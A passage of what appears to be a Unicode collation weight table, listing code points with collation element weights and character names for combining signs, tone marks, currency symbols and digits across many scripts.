[.0000.00BD.0002] # ADLAM VOWEL LENGTHENER -1E946 ; [.0000.00BD.0002] # ADLAM GEMINATION MARK -1E94A ; [.0000.00BE.0002] # ADLAM NUKTA -1E947 ; [.0000.00BF.0002] # ADLAM HAMZA -1E948 ; [.0000.00C0.0002] # ADLAM CONSONANT MODIFIER -1E949 ; [.0000.00C1.0002] # ADLAM GEMINATE CONSONANT MODIFIER -093C ; [.0000.00C2.0002] # DEVANAGARI SIGN NUKTA -09BC ; [.0000.00C2.0002] # BENGALI SIGN NUKTA -0A3C ; [.0000.00C2.0002] # GURMUKHI SIGN NUKTA -0ABC ; [.0000.00C2.0002] # GUJARATI SIGN NUKTA -0B3C ; [.0000.00C2.0002] # ORIYA SIGN NUKTA -0CBC ; [.0000.00C2.0002] # KANNADA SIGN NUKTA -1B34 ; [.0000.00C2.0002] # BALINESE SIGN REREKAN -1BE6 ; [.0000.00C2.0002] # BATAK SIGN TOMPI -1C37 ; [.0000.00C2.0002] # LEPCHA SIGN NUKTA -A9B3 ; [.0000.00C2.0002] # JAVANESE SIGN CECAK TELU -110BA ; [.0000.00C2.0002] # KAITHI SIGN NUKTA -11173 ; [.0000.00C2.0002] # MAHAJANI SIGN NUKTA -111CA ; [.0000.00C2.0002] # SHARADA SIGN NUKTA -11236 ; [.0000.00C2.0002] # KHOJKI SIGN NUKTA -112E9 ; [.0000.00C2.0002] # KHUDAWADI SIGN NUKTA -1133C ; [.0000.00C2.0002] # GRANTHA SIGN NUKTA -11446 ; [.0000.00C2.0002] # NEWA SIGN NUKTA -114C3 ; [.0000.00C2.0002] # TIRHUTA SIGN NUKTA -115C0 ; [.0000.00C2.0002] # SIDDHAM SIGN NUKTA -116B7 ; [.0000.00C2.0002] # TAKRI SIGN NUKTA -0900 ; [.0000.00C3.0002] # DEVANAGARI SIGN INVERTED CANDRABINDU -0901 ; [.0000.00C3.0002] # DEVANAGARI SIGN CANDRABINDU -0981 ; [.0000.00C3.0002] # BENGALI SIGN CANDRABINDU -0A01 ; [.0000.00C3.0002] # GURMUKHI SIGN ADAK BINDI -0A81 ; [.0000.00C3.0002] # GUJARATI SIGN CANDRABINDU -0B01 ; [.0000.00C3.0002] # ORIYA SIGN CANDRABINDU -0C00 ; [.0000.00C3.0002] # TELUGU SIGN COMBINING CANDRABINDU ABOVE -0C01 ; [.0000.00C3.0002] # TELUGU SIGN CANDRABINDU -0C81 ; [.0000.00C3.0002] # KANNADA SIGN CANDRABINDU -0D01 ; [.0000.00C3.0002] # MALAYALAM SIGN CANDRABINDU -1B00 ; [.0000.00C3.0002] # BALINESE SIGN ULU RICEM -1B01 ; [.0000.00C3.0002] # BALINESE SIGN ULU CANDRA -A8C5 ; [.0000.00C3.0002] # SAURASHTRA SIGN CANDRABINDU -A980 ; [.0000.00C3.0002] # JAVANESE SIGN PANYANGGA -11000 ; [.0000.00C3.0002] # BRAHMI SIGN CANDRABINDU -11080 ; [.0000.00C3.0002] # KAITHI SIGN CANDRABINDU -11100 ; [.0000.00C3.0002] # CHAKMA SIGN CANDRABINDU -11180 ; [.0000.00C3.0002] # SHARADA SIGN CANDRABINDU -11301 ; [.0000.00C3.0002] # GRANTHA SIGN CANDRABINDU -11443 ; [.0000.00C3.0002] # NEWA SIGN CANDRABINDU -114BF ; [.0000.00C3.0002] # TIRHUTA SIGN CANDRABINDU -115BC ; [.0000.00C3.0002] # SIDDHAM SIGN CANDRABINDU -11640 ; [.0000.00C3.0002] # MODI SIGN ARDHACANDRA -11C3C ; [.0000.00C3.0002] # BHAIKSUKI SIGN CANDRABINDU -11CB6 ; [.0000.00C3.0002] # MARCHEN SIGN CANDRABINDU -0902 ; [.0000.00C4.0002] # DEVANAGARI SIGN ANUSVARA -0982 ; [.0000.00C4.0002] # BENGALI SIGN ANUSVARA -0A02 ; [.0000.00C4.0002] # GURMUKHI SIGN BINDI -0A82 ; [.0000.00C4.0002] # GUJARATI SIGN ANUSVARA -0B02 ; [.0000.00C4.0002] # ORIYA SIGN ANUSVARA -0B82 ; [.0000.00C4.0002] # TAMIL SIGN ANUSVARA -0C02 ; [.0000.00C4.0002] # TELUGU SIGN ANUSVARA -0C82 ; [.0000.00C4.0002] # KANNADA SIGN ANUSVARA -0D02 ; [.0000.00C4.0002] # MALAYALAM SIGN ANUSVARA -0D82 ; [.0000.00C4.0002] # SINHALA SIGN ANUSVARAYA -0F7E ; [.0000.00C4.0002] # TIBETAN SIGN RJES SU NGA RO -1036 ; [.0000.00C4.0002] # MYANMAR SIGN ANUSVARA -17C6 ; [.0000.00C4.0002] # KHMER SIGN NIKAHIT -1A74 ; [.0000.00C4.0002] # TAI THAM SIGN MAI KANG -1B02 ; [.0000.00C4.0002] # BALINESE SIGN CECEK -1B80 ; [.0000.00C4.0002] # SUNDANESE SIGN PANYECEK -1CED ; [.0000.00C4.0002] # VEDIC SIGN TIRYAK -A80B ; [.0000.00C4.0002] # SYLOTI NAGRI SIGN ANUSVARA -A880 ; [.0000.00C4.0002] # SAURASHTRA SIGN ANUSVARA -A981 ; [.0000.00C4.0002] # JAVANESE SIGN CECAK -10A0E ; [.0000.00C4.0002] # KHAROSHTHI SIGN ANUSVARA -11001 ; [.0000.00C4.0002] # BRAHMI SIGN ANUSVARA -11081 ; [.0000.00C4.0002] # KAITHI SIGN ANUSVARA -11101 ; [.0000.00C4.0002] # CHAKMA SIGN ANUSVARA -11181 ; [.0000.00C4.0002] # SHARADA SIGN ANUSVARA -11234 ; [.0000.00C4.0002] # KHOJKI SIGN ANUSVARA -112DF ; [.0000.00C4.0002] # KHUDAWADI SIGN ANUSVARA -11300 ; [.0000.00C4.0002] # GRANTHA SIGN COMBINING ANUSVARA ABOVE -11302 ; [.0000.00C4.0002] # GRANTHA SIGN ANUSVARA -11444 ; [.0000.00C4.0002] # NEWA SIGN ANUSVARA -114C0 ; [.0000.00C4.0002] # TIRHUTA SIGN ANUSVARA -115BD ; [.0000.00C4.0002] # SIDDHAM SIGN ANUSVARA -1163D ; [.0000.00C4.0002] # MODI SIGN ANUSVARA -116AB ; [.0000.00C4.0002] # TAKRI SIGN ANUSVARA -11C3D ; [.0000.00C4.0002] # BHAIKSUKI SIGN ANUSVARA -11CB5 ; [.0000.00C4.0002] # MARCHEN SIGN ANUSVARA -0903 ; [.0000.00C5.0002] # DEVANAGARI SIGN VISARGA -0983 ; [.0000.00C5.0002] # BENGALI SIGN VISARGA -0A03 ; [.0000.00C5.0002] # GURMUKHI SIGN VISARGA -0A83 ; [.0000.00C5.0002] # GUJARATI SIGN VISARGA -0B03 ; [.0000.00C5.0002] # ORIYA SIGN VISARGA -0C03 ; [.0000.00C5.0002] # TELUGU SIGN VISARGA -0C83 ; [.0000.00C5.0002] # KANNADA SIGN VISARGA -0D03 ; [.0000.00C5.0002] # MALAYALAM SIGN VISARGA -0D83 ; [.0000.00C5.0002] # SINHALA SIGN VISARGAYA -0F7F ; [.0000.00C5.0002] # TIBETAN SIGN RNAM BCAD -1038 ; [.0000.00C5.0002] # MYANMAR SIGN VISARGA -17C7 ; [.0000.00C5.0002] # KHMER SIGN REAHMUK -1B04 ; [.0000.00C5.0002] # BALINESE SIGN BISAH -1B82 ; [.0000.00C5.0002] # SUNDANESE SIGN PANGWISAD -1CF2 ; [.0000.00C5.0002] # VEDIC SIGN ARDHAVISARGA -1CF3 ; [.0000.00C5.0002] # VEDIC SIGN ROTATED ARDHAVISARGA -A881 ; [.0000.00C5.0002] # SAURASHTRA SIGN VISARGA -A983 ; [.0000.00C5.0002] # JAVANESE SIGN WIGNYAN -10A0F ; [.0000.00C5.0002] # KHAROSHTHI SIGN VISARGA -11002 ; [.0000.00C5.0002] # BRAHMI SIGN VISARGA -11082 ; [.0000.00C5.0002] # KAITHI SIGN VISARGA -11102 ; [.0000.00C5.0002] # CHAKMA SIGN VISARGA -11182 ; [.0000.00C5.0002] # SHARADA SIGN VISARGA -11303 ; [.0000.00C5.0002] # GRANTHA SIGN VISARGA -11445 ; [.0000.00C5.0002] # NEWA SIGN VISARGA -114C1 ; [.0000.00C5.0002] # TIRHUTA SIGN VISARGA -115BE ; [.0000.00C5.0002] # SIDDHAM SIGN VISARGA -1163E ; [.0000.00C5.0002] # MODI SIGN VISARGA -116AC ; [.0000.00C5.0002] # TAKRI SIGN VISARGA -11C3E ; [.0000.00C5.0002] # BHAIKSUKI SIGN VISARGA -0A70 ; [.0000.00C6.0002] # GURMUKHI TIPPI -0A71 ; [.0000.00C7.0002] # GURMUKHI ADDAK -1B03 ; [.0000.00C8.0002] # BALINESE SIGN SURANG -A982 ; [.0000.00C9.0002] # JAVANESE SIGN LAYAR -1B81 ; [.0000.00CA.0002] # SUNDANESE SIGN PANGLAYAR -ABEC ; [.0000.00CB.0002] # MEETEI MAYEK LUM IYEK -10A38 ; [.0000.00CC.0002] # KHAROSHTHI SIGN BAR ABOVE -10A39 ; [.0000.00CD.0002] # KHAROSHTHI SIGN CAUDA -10A3A ; [.0000.00CE.0002] # KHAROSHTHI SIGN DOT BELOW -111CB ; [.0000.00CF.0002] # SHARADA VOWEL MODIFIER MARK -111CC ; [.0000.00D0.0002] # SHARADA EXTRA SHORT VOWEL MARK -0E4E ; [.0000.00D1.0002] # THAI CHARACTER YAMAKKAN -0E47 ; [.0000.00D2.0002] # THAI CHARACTER MAITAIKHU -0E48 ; [.0000.00D3.0002] # THAI CHARACTER MAI EK -0E49 ; [.0000.00D4.0002] # THAI CHARACTER MAI THO -0E4A ; [.0000.00D5.0002] # THAI CHARACTER MAI TRI -0E4B ; [.0000.00D6.0002] # THAI CHARACTER MAI CHATTAWA -0E4C ; [.0000.00D7.0002] # THAI CHARACTER THANTHAKHAT -0E4D ; [.0000.00D8.0002] # THAI CHARACTER NIKHAHIT -0EC8 ; [.0000.00D9.0002] # LAO TONE MAI EK -0EC9 ; [.0000.00DA.0002] # LAO TONE MAI THO -0ECA ; [.0000.00DB.0002] # LAO TONE MAI TI -0ECB ; [.0000.00DC.0002] # LAO TONE MAI CATAWA -0ECC ; [.0000.00DD.0002] # LAO CANCELLATION MARK -0ECD ; [.0000.00DE.0002] # LAO NIGGAHITA -AABF ; [.0000.00DF.0002] # TAI VIET TONE MAI EK -AAC1 ; [.0000.00E0.0002] # TAI VIET TONE MAI THO -0F39 ; [.0000.00E1.0002] # TIBETAN MARK TSA -PHRU -A92B ; [.0000.00E2.0002] # KAYAH LI TONE PLOPHU -A92C ; [.0000.00E3.0002] # KAYAH LI TONE CALYA -A92D ; [.0000.00E4.0002] # KAYAH LI TONE CALYA PLOPHU -1037 ; [.0000.00E5.0002] # MYANMAR SIGN DOT BELOW -17C8 ; [.0000.00E6.0002] # KHMER SIGN YUUKALEAPINTU -17C9 ; [.0000.00E7.0002] # KHMER SIGN MUUSIKATOAN -17CA ; [.0000.00E8.0002] # KHMER SIGN TRIISAP -1A75 ; [.0000.00E9.0002] # TAI THAM SIGN TONE-1 -1A76 ; [.0000.00EA.0002] # TAI THAM SIGN TONE-2 -1A77 ; [.0000.00EB.0002] # TAI THAM SIGN KHUEN TONE-3 -1A78 ; [.0000.00EC.0002] # TAI THAM SIGN KHUEN TONE-4 -1A79 ; [.0000.00ED.0002] # TAI THAM SIGN KHUEN TONE-5 -1A7A ; [.0000.00EE.0002] # TAI THAM SIGN RA HAAM -1A7B ; [.0000.00EF.0002] # TAI THAM SIGN MAI SAM -1A7C ; [.0000.00F0.0002] # TAI THAM SIGN KHUEN-LUE KARAN -1939 ; [.0000.00F1.0002] # LIMBU SIGN MUKPHRENG -193A ; [.0000.00F2.0002] # LIMBU SIGN KEMPHRENG -193B ; [.0000.00F3.0002] # LIMBU SIGN SA-I -16B30 ; [.0000.00F4.0002] # PAHAWH HMONG MARK CIM TUB -16B31 ; [.0000.00F5.0002] # PAHAWH HMONG MARK CIM SO -16B32 ; [.0000.00F6.0002] # PAHAWH HMONG MARK CIM KES -16B33 ; [.0000.00F7.0002] # PAHAWH HMONG MARK CIM KHAV -16B34 ; [.0000.00F8.0002] # PAHAWH HMONG MARK CIM SUAM -16B35 ; [.0000.00F9.0002] # PAHAWH HMONG MARK CIM HOM -16B36 ; [.0000.00FA.0002] # PAHAWH HMONG MARK CIM TAUM -302A ; [.0000.00FB.0002] # IDEOGRAPHIC LEVEL TONE MARK -302B ; [.0000.00FC.0002] # IDEOGRAPHIC RISING TONE MARK -302C ; [.0000.00FD.0002] # IDEOGRAPHIC DEPARTING TONE MARK -302D ; [.0000.00FE.0002] # IDEOGRAPHIC ENTERING TONE MARK -302E ; [.0000.00FF.0002] # HANGUL SINGLE DOT TONE MARK -302F ; [.0000.0100.0002] # HANGUL DOUBLE DOT TONE MARK -20D0 ; [.0000.0101.0002] # COMBINING LEFT HARPOON ABOVE -20D1 ; [.0000.0102.0002] # COMBINING RIGHT HARPOON ABOVE -20D2 ; [.0000.0103.0002] # COMBINING LONG VERTICAL LINE OVERLAY -20D3 ; [.0000.0103.0002] # COMBINING SHORT VERTICAL LINE OVERLAY -20D4 ; [.0000.0104.0002] # COMBINING ANTICLOCKWISE ARROW ABOVE -20D5 ; [.0000.0105.0002] # COMBINING CLOCKWISE ARROW ABOVE -20D6 ; [.0000.0106.0002] # COMBINING LEFT ARROW ABOVE -20D7 ; [.0000.0107.0002] # COMBINING RIGHT ARROW ABOVE -20DB ; [.0000.0108.0002] # COMBINING THREE DOTS ABOVE -20DC ; [.0000.0109.0002] # COMBINING FOUR DOTS ABOVE -20E1 ; [.0000.010A.0002] # COMBINING LEFT RIGHT ARROW ABOVE -20E6 ; [.0000.010B.0002] # COMBINING DOUBLE VERTICAL STROKE OVERLAY -20E7 ; [.0000.010C.0002] # COMBINING ANNUITY SYMBOL -20E8 ; [.0000.010D.0002] # COMBINING TRIPLE UNDERDOT -20E9 ; [.0000.010E.0002] # COMBINING WIDE BRIDGE ABOVE -101FD ; [.0000.010F.0002] # PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE -02D0 ; [.1BF8.0020.0002] # MODIFIER LETTER TRIANGULAR COLON -02D1 ; [.1BF9.0020.0002] # MODIFIER LETTER HALF TRIANGULAR COLON -0971 ; [.1BFA.0020.0002] # DEVANAGARI SIGN HIGH SPACING DOT -0E46 ; [.1BFB.0020.0002] # THAI CHARACTER MAIYAMOK -0EC6 ; [.1BFC.0020.0002] # LAO KO LA -17D7 ; [.1BFD.0020.0002] # KHMER SIGN LEK TOO -1AA7 ; [.1BFE.0020.0002] # TAI THAM SIGN MAI YAMOK -A9CF ; [.1BFF.0020.0002] # JAVANESE PANGRANGKEP -A9E6 ; [.1C00.0020.0002] # MYANMAR MODIFIER LETTER SHAN REDUPLICATION -AA70 ; [.1C01.0020.0002] # MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION -AADD ; [.1C02.0020.0002] # TAI VIET SYMBOL SAM -AAF3 ; [.1C03.0020.0002] # MEETEI MAYEK SYLLABLE REPETITION MARK -AAF4 ; [.1C04.0020.0002] # MEETEI MAYEK WORD REPETITION MARK -16B42 ; [.1C05.0020.0002] # PAHAWH HMONG SIGN VOS NRUA -16B43 ; [.1C06.0020.0002] # PAHAWH HMONG SIGN IB YAM -3005 ; [.1C07.0020.0002] # IDEOGRAPHIC ITERATION MARK -303B ; [.1C08.0020.0002] # VERTICAL IDEOGRAPHIC ITERATION MARK -16FE0 ; [.1C09.0020.0002] # TANGUT ITERATION MARK -3031 ; [.1C0A.0020.0002] # VERTICAL KANA REPEAT MARK -3032 ; [.1C0A.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK -3033 ; [.1C0B.0020.0002] # VERTICAL KANA REPEAT MARK UPPER HALF -3034 ; [.1C0B.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF -3035 ; [.1C0C.0020.0002] # VERTICAL KANA REPEAT MARK LOWER HALF -309D ; [.1C0D.0020.0002] # HIRAGANA ITERATION MARK -309E ; [.1C0D.0020.0002][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK -30FC ; [.1C0E.0020.0002] # KATAKANA-HIRAGANA PROLONGED SOUND MARK -FF70 ; [.1C0E.0020.0012] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK -30FD ; [.1C0F.0020.0002] # KATAKANA ITERATION MARK -30FE ; [.1C0F.0020.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK -00A4 ; [.1C10.0020.0002] # CURRENCY SIGN -00A2 ; [.1C11.0020.0002] # CENT SIGN -FFE0 ; [.1C11.0020.0003] # FULLWIDTH CENT SIGN -0024 ; [.1C12.0020.0002] # DOLLAR SIGN -FF04 ; [.1C12.0020.0003] # FULLWIDTH DOLLAR SIGN -FE69 ; [.1C12.0020.000F] # SMALL DOLLAR SIGN -00A3 ; [.1C13.0020.0002] # POUND SIGN -FFE1 ; [.1C13.0020.0003] # FULLWIDTH POUND SIGN -00A5 ; [.1C14.0020.0002] # YEN SIGN -FFE5 ; [.1C14.0020.0003] # FULLWIDTH YEN SIGN -058F ; [.1C15.0020.0002] # ARMENIAN DRAM SIGN -060B ; [.1C16.0020.0002] # AFGHANI SIGN -09F2 ; [.1C17.0020.0002] # BENGALI RUPEE MARK -09F3 ; [.1C18.0020.0002] # BENGALI RUPEE SIGN -09FB ; [.1C19.0020.0002] # BENGALI GANDA MARK -0AF1 ; [.1C1A.0020.0002] # GUJARATI RUPEE SIGN -A838 ; [.1C1B.0020.0002] # NORTH INDIC RUPEE MARK -0BF9 ; [.1C1C.0020.0002] # TAMIL RUPEE SIGN -0E3F ; [.1C1D.0020.0002] # THAI CURRENCY SYMBOL BAHT -17DB ; [.1C1E.0020.0002] # KHMER CURRENCY SYMBOL RIEL -20A0 ; [.1C1F.0020.0002] # EURO-CURRENCY SIGN -20A1 ; [.1C20.0020.0002] # COLON SIGN -20A2 ; [.1C21.0020.0002] # CRUZEIRO SIGN -20A3 ; [.1C22.0020.0002] # FRENCH FRANC SIGN -20A4 ; [.1C23.0020.0002] # LIRA SIGN -20A5 ; [.1C24.0020.0002] # MILL SIGN -20A6 ; [.1C25.0020.0002] # NAIRA SIGN -20A7 ; [.1C26.0020.0002] # PESETA SIGN -20A9 ; [.1C27.0020.0002] # WON SIGN -FFE6 ; [.1C27.0020.0003] # FULLWIDTH WON SIGN -20AA ; [.1C28.0020.0002] # NEW SHEQEL SIGN -20AB ; [.1C29.0020.0002] # DONG SIGN -20AC ; [.1C2A.0020.0002] # EURO SIGN -20AD ; [.1C2B.0020.0002] # KIP SIGN -20AE ; [.1C2C.0020.0002] # TUGRIK SIGN -20AF ; [.1C2D.0020.0002] # DRACHMA SIGN -20B0 ; [.1C2E.0020.0002] # GERMAN PENNY SIGN -20B1 ; [.1C2F.0020.0002] # PESO SIGN -20B2 ; [.1C30.0020.0002] # GUARANI SIGN -20B3 ; [.1C31.0020.0002] # AUSTRAL SIGN -20B4 ; [.1C32.0020.0002] # HRYVNIA SIGN -20B5 ; [.1C33.0020.0002] # CEDI SIGN -20B6 ; [.1C34.0020.0002] # LIVRE TOURNOIS SIGN -20B7 ; [.1C35.0020.0002] # SPESMILO SIGN -20B8 ; [.1C36.0020.0002] # TENGE SIGN -20B9 ; [.1C37.0020.0002] # INDIAN RUPEE SIGN -20BA ; [.1C38.0020.0002] # TURKISH LIRA SIGN -20BB ; [.1C39.0020.0002] # NORDIC MARK SIGN -20BC ; [.1C3A.0020.0002] # MANAT SIGN -20BD ; [.1C3B.0020.0002] # RUBLE SIGN -20BE ; [.1C3C.0020.0002] # LARI SIGN -0030 ; [.1C3D.0020.0002] # DIGIT ZERO -0660 ; [.1C3D.0020.0002] # ARABIC-INDIC DIGIT ZERO -06F0 ; [.1C3D.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ZERO -07C0 ; [.1C3D.0020.0002] # NKO DIGIT ZERO -0966 ; [.1C3D.0020.0002] # DEVANAGARI DIGIT ZERO -09E6 ; [.1C3D.0020.0002] # BENGALI DIGIT ZERO -0A66 ; [.1C3D.0020.0002] # GURMUKHI DIGIT ZERO -0AE6 ; [.1C3D.0020.0002] # GUJARATI DIGIT ZERO -0B66 ; [.1C3D.0020.0002] # ORIYA DIGIT ZERO -0BE6 ; [.1C3D.0020.0002] # TAMIL DIGIT ZERO -0C66 ; [.1C3D.0020.0002] # TELUGU DIGIT ZERO -0C78 ; [.1C3D.0020.0002] # TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR -0CE6 ; [.1C3D.0020.0002] # KANNADA DIGIT ZERO -0D66 ; [.1C3D.0020.0002] # MALAYALAM DIGIT ZERO -0DE6 ; [.1C3D.0020.0002] # SINHALA LITH DIGIT ZERO -0E50 ; [.1C3D.0020.0002] # THAI DIGIT ZERO -0ED0 ; [.1C3D.0020.0002] # LAO DIGIT ZERO -0F20 ; [.1C3D.0020.0002] # TIBETAN DIGIT ZERO -1040 ; [.1C3D.0020.0002] # MYANMAR DIGIT ZERO -1090 ; [.1C3D.0020.0002] # MYANMAR SHAN DIGIT ZERO -17E0 ; [.1C3D.0020.0002] # KHMER DIGIT ZERO -17F0 ; [.1C3D.0020.0002] # KHMER SYMBOL LEK ATTAK SON -1810 ; [.1C3D.0020.0002] # MONGOLIAN DIGIT ZERO -1946 ; [.1C3D.0020.0002] # LIMBU DIGIT ZERO -19D0 ; [.1C3D.0020.0002] # NEW TAI LUE DIGIT ZERO -1A80 ; [.1C3D.0020.0002] # TAI THAM HORA DIGIT ZERO -1A90 ; [.1C3D.0020.0002] # TAI THAM THAM DIGIT ZERO -1B50 ; [.1C3D.0020.0002] # BALINESE DIGIT ZERO -1BB0 ; [.1C3D.0020.0002] # SUNDANESE DIGIT ZERO -1C40 ; [.1C3D.0020.0002] # LEPCHA DIGIT ZERO -1C50 ; [.1C3D.0020.0002] # OL CHIKI DIGIT ZERO -3007 ; [.1C3D.0020.0002] # IDEOGRAPHIC NUMBER ZERO -A620 ; [.1C3D.0020.0002] # VAI DIGIT ZERO -A8D0 ; [.1C3D.0020.0002] # SAURASHTRA DIGIT ZERO -A900 ; [.1C3D.0020.0002] # KAYAH LI DIGIT ZERO -A9D0 ; [.1C3D.0020.0002] # JAVANESE DIGIT ZERO -A9F0 ; [.1C3D.0020.0002] # MYANMAR TAI LAING DIGIT ZERO -AA50 ; [.1C3D.0020.0002] # CHAM DIGIT ZERO -ABF0 ; [.1C3D.0020.0002] # MEETEI MAYEK DIGIT ZERO -1018A ; [.1C3D.0020.0002] # GREEK ZERO SIGN -104A0 ; [.1C3D.0020.0002] # OSMANYA DIGIT ZERO -11066 ; [.1C3D.0020.0002] # BRAHMI DIGIT ZERO -110F0 ; [.1C3D.0020.0002] # SORA SOMPENG DIGIT ZERO -11136 ; [.1C3D.0020.0002] # CHAKMA DIGIT ZERO -111D0 ; [.1C3D.0020.0002] # SHARADA DIGIT ZERO -112F0 ; [.1C3D.0020.0002] # KHUDAWADI DIGIT ZERO -11450 ; [.1C3D.0020.0002] # NEWA DIGIT ZERO -114D0 ; [.1C3D.0020.0002] # TIRHUTA DIGIT ZERO -11650 ; [.1C3D.0020.0002] # MODI DIGIT ZERO -116C0 ; [.1C3D.0020.0002] # TAKRI DIGIT ZERO -11730 ; [.1C3D.0020.0002] # AHOM DIGIT ZERO -118E0 ; [.1C3D.0020.0002] # WARANG CITI DIGIT ZERO -11C50 ; [.1C3D.0020.0002] # BHAIKSUKI DIGIT ZERO -16A60 ; [.1C3D.0020.0002] # MRO DIGIT ZERO -16B50 ; [.1C3D.0020.0002] # PAHAWH HMONG DIGIT ZERO -1E950 ; [.1C3D.0020.0002] # ADLAM DIGIT ZERO -FF10 ; [.1C3D.0020.0003] # FULLWIDTH DIGIT ZERO -0F33 ; [.1C3D.0020.0004] # TIBETAN DIGIT HALF ZERO -1F100 ; [.1C3D.0020.0004][*0277.0020.0004] # DIGIT ZERO FULL STOP -1F101 ; [.1C3D.0020.0004][*0222.0020.0004] # DIGIT ZERO COMMA -1D7CE ; [.1C3D.0020.0005] # MATHEMATICAL BOLD DIGIT ZERO -1D7D8 ; [.1C3D.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ZERO -1D7E2 ; [.1C3D.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ZERO -1D7EC ; [.1C3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ZERO -1D7F6 ; [.1C3D.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ZERO -24EA ; [.1C3D.0020.0006] # CIRCLED DIGIT ZERO -24FF ; [.1C3D.0020.0006] # NEGATIVE CIRCLED DIGIT ZERO -1F10B ; [.1C3D.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ZERO -1F10C ; [.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO -2070 ; [.1C3D.0020.0014] # SUPERSCRIPT ZERO -2080 ; [.1C3D.0020.0015] # SUBSCRIPT ZERO -2189 ; [.1C3D.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION ZERO THIRDS -3358 ; [.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO -0031 ; [.1C3E.0020.0002] # DIGIT ONE -0661 ; [.1C3E.0020.0002] # ARABIC-INDIC DIGIT ONE -06F1 ; [.1C3E.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ONE -07C1 ; [.1C3E.0020.0002] # NKO DIGIT ONE -0967 ; [.1C3E.0020.0002] # DEVANAGARI DIGIT ONE -09E7 ; [.1C3E.0020.0002] # BENGALI DIGIT ONE -0A67 ; [.1C3E.0020.0002] # GURMUKHI DIGIT ONE -0AE7 ; [.1C3E.0020.0002] # GUJARATI DIGIT ONE -0B67 ; [.1C3E.0020.0002] # ORIYA DIGIT ONE -0BE7 ; [.1C3E.0020.0002] # TAMIL DIGIT ONE -0C67 ; [.1C3E.0020.0002] # TELUGU DIGIT ONE -0C79 ; [.1C3E.0020.0002] # TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR -0C7C ; [.1C3E.0020.0002] # TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR -0CE7 ; [.1C3E.0020.0002] # KANNADA DIGIT ONE -0D67 ; [.1C3E.0020.0002] # MALAYALAM DIGIT ONE -0DE7 ; [.1C3E.0020.0002] # SINHALA LITH DIGIT ONE -0E51 ; [.1C3E.0020.0002] # THAI DIGIT ONE -0ED1 ; [.1C3E.0020.0002] # LAO DIGIT ONE -0F21 ; [.1C3E.0020.0002] # TIBETAN DIGIT ONE -1041 ; [.1C3E.0020.0002] # MYANMAR DIGIT ONE -1091 ; [.1C3E.0020.0002] # MYANMAR SHAN DIGIT ONE -1369 ; [.1C3E.0020.0002] # ETHIOPIC DIGIT ONE -17E1 ; [.1C3E.0020.0002] # KHMER DIGIT ONE -17F1 ; [.1C3E.0020.0002] # KHMER SYMBOL LEK ATTAK MUOY -1811 ; [.1C3E.0020.0002] # MONGOLIAN DIGIT ONE -1947 ; [.1C3E.0020.0002] # LIMBU DIGIT ONE -19D1 ; [.1C3E.0020.0002] # NEW TAI LUE DIGIT ONE -19DA ; [.1C3E.0020.0002] # NEW TAI LUE THAM DIGIT ONE -1A81 ; [.1C3E.0020.0002] # TAI THAM HORA DIGIT ONE -1A91 ; [.1C3E.0020.0002] # TAI THAM THAM DIGIT ONE -1B51 ; [.1C3E.0020.0002] # BALINESE DIGIT ONE -1BB1 ; [.1C3E.0020.0002] # SUNDANESE DIGIT ONE -1C41 ; [.1C3E.0020.0002] # LEPCHA DIGIT ONE -1C51 ; [.1C3E.0020.0002] # OL CHIKI DIGIT ONE -3021 ; [.1C3E.0020.0002] # HANGZHOU NUMERAL ONE -A621 ; [.1C3E.0020.0002] # VAI DIGIT ONE -A8D1 ; [.1C3E.0020.0002] # SAURASHTRA DIGIT ONE -A901 ; [.1C3E.0020.0002] # KAYAH LI DIGIT ONE -A9D1 ; [.1C3E.0020.0002] # JAVANESE DIGIT ONE -A9F1 ; [.1C3E.0020.0002] # MYANMAR TAI LAING DIGIT ONE -AA51 ; [.1C3E.0020.0002] # CHAM DIGIT ONE -ABF1 ; [.1C3E.0020.0002] # MEETEI MAYEK DIGIT ONE -10107 ; [.1C3E.0020.0002] # AEGEAN NUMBER ONE -10142 ; [.1C3E.0020.0002] # GREEK ACROPHONIC ATTIC ONE DRACHMA -10158 ; [.1C3E.0020.0002] # GREEK ACROPHONIC HERAEUM ONE PLETHRON -10159 ; [.1C3E.0020.0002] # GREEK ACROPHONIC THESPIAN ONE -1015A ; [.1C3E.0020.0002] # GREEK ACROPHONIC HERMIONIAN ONE -102E1 ; [.1C3E.0020.0002] # COPTIC EPACT DIGIT ONE -10320 ; [.1C3E.0020.0002] # OLD ITALIC NUMERAL ONE -103D1 ; [.1C3E.0020.0002] # OLD PERSIAN NUMBER ONE -104A1 ; [.1C3E.0020.0002] # OSMANYA DIGIT ONE -10858 ; [.1C3E.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE -10879 ; [.1C3E.0020.0002] # PALMYRENE NUMBER ONE -108A7 ; [.1C3E.0020.0002] # NABATAEAN NUMBER ONE -108FB ; [.1C3E.0020.0002] # HATRAN NUMBER ONE -10916 ; [.1C3E.0020.0002] # PHOENICIAN NUMBER ONE -109C0 ; [.1C3E.0020.0002] # MEROITIC CURSIVE NUMBER ONE -10A40 ; [.1C3E.0020.0002] # KHAROSHTHI DIGIT ONE -10A7D ; [.1C3E.0020.0002] # OLD SOUTH ARABIAN NUMBER ONE -10A9D ; [.1C3E.0020.0002] # OLD NORTH ARABIAN NUMBER ONE -10AEB ; 